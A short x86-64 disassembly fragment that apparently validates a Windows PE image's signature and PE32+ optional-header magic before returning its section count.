movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400a3e38
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x1400a3e2f
movzx ecx, word [rax + 6]
mov eax, ecx
ret